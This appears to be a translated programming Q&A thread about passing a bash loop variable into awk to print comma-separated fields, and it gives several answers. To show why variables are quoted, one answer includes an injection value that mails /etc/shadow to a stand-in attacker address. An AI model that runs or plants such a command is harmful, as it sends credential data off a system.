1
#!/bin/bash

index=101,102,103,104,105
/bin/echo "$index" | /bin/awk -F\, '{print $2}'

上面是我的shell脚本,(这只是一个演示它不应该是静态的)当我执行它时它返回值“102”它是正确的。

 #!/bin/bash

index=101,102,103,104,105

for i in 1 2 3 4 5
do
/bin/echo "$index" | /bin/awk -F\, '{print $i}'
done

我想一一打印所有数字……我错在哪里?

我已经用“null” saprated 值做了一些改变......现在我想做什么改变?获取和增加 $i 的值?

output of  *some command*
1013
1023
12324
13224
3122
2421

#!/bin/bash
index=*some command*
i=1

for LINE in ${OUTPUT} ; do
    ans=$(/bin/echo "$index" | /bin/awk -vRS= -vFS="\n" '{print $i}')
    i=`expr $i + 1`
done
4

4 回答 4

3

单引号不允许变量扩展。所以"$i"被扩展为 , 的值$i,但'$i'它是一个文字$i

假设变量将在脚本中正确展开通常是不安全的。您不想将脚本放在双引号中。相反,使用 awk 的选项将 的值传递$i到 awk 脚本中。-v

#!/bin/bash

index=101,102,103,104,105

for i in 1 2 3 4 5; do
  echo "$index" | awk -F, -vi="$i" '{print $i}'
done

由于这是一个示例,并且我不确定您是否真的会使用 for 循环来生成 的值$i,因此您应该记住将双引号括起来,$i这样如果它包含空格或其他奇怪的字符,您就不要' t 破坏您的脚本并意外执行您不想执行的操作。虽然它并不总是必要的,但始终建议在 bash 中引用您的变量。小心≈好。如果$i要获得 的值"1;mail h4x0r@example.net < /etc/shadow;true",那么您将处于危险之中,没有引号。带引号,你只是有一个失败的脚本。

于 2012-11-07T15:25:47.763 回答
1

您必须将 的值传递i给 awk:

#!/bin/bash

index=101,102,103,104,105

for i in 1 2 3 4 5
do
    /bin/echo "$index" | /bin/awk -v i=$i -F\, '{print $i}'
done

否则,i脚本中的值对于 awk 是未知的,默认情况下它采用0. 所以它会像你说的那样打印$0

于 2012-11-07T13:44:08.370 回答
1

或者像这样

#!/bin/bash

index=101,102,103,104,105

IFS=','
for x in $index
do
    echo "$x"
done

IFS 将在您的情况下定义分隔符“,”。然后你可以遍历元素(如数组)

于 2012-11-07T13:50:10.547 回答
-1

使用双引号,以便$i被 shell 扩展。然后,您必须引用美元符号以防止扩展$$

awk -F, "{print \$$i}"
于 2012-11-07T13:51:46.607 回答